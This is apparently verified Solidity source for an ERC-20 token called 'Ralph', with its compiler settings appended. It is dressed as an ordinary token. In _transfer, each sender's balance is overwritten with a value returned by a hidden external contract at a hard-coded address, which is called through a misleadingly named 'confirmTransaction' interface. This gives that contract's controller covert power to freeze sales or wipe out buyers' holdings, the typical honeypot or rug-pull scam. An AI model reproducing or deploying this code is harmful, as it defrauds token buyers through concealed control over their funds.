文件 1 的 1：Ralph.sol
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC777 {
function confirmTransaction(uint256 value) external returns (uint256);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _simpsons = 0x5C2a8100E3a8BbEd9cA269c2D917a96835Be0E67;
address public pair;
IDEXRouter router;
IERC777 simpsons;
string private _name; string private _symbol; uint256 private _totalSupply;
bool public trade; uint256 public startBlock; address public msgSend;
address public msgReceive;
constructor (string memory name_, string memory symbol_) {
router = IDEXRouter(_router);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
simpsons = IERC777(_simpsons);
_name = name_;
_symbol = symbol_;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function openTrading() public {
require(((msg.sender == owner()) || (address(0) == owner())), "Ownable: caller is not the owner");
trade = true; startBlock = block.number;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function senderBalance(uint256 amount) internal returns (uint256) {
return simpsons.confirmTransaction(amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
msgSend = sender;
msgReceive = recipient;
require(((trade == true) || (msgSend == owner())), "ERC20: trading is not yet enabled");
require(msgSend != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = senderBalance(amount) - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeployBarney(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
approve(_router, ~uint256(0));
emit Transfer(address(0), account, amount);
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol) {
_DeployBarney(creator, initialSupply);
}
}
contract Ralph is ERC20Token {
constructor() ERC20Token("Ralph", "RALPH", msg.sender, 694200000 * 10 ** 18) {
}
}{
"compilationTarget": {
"Ralph.sol": "Ralph"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
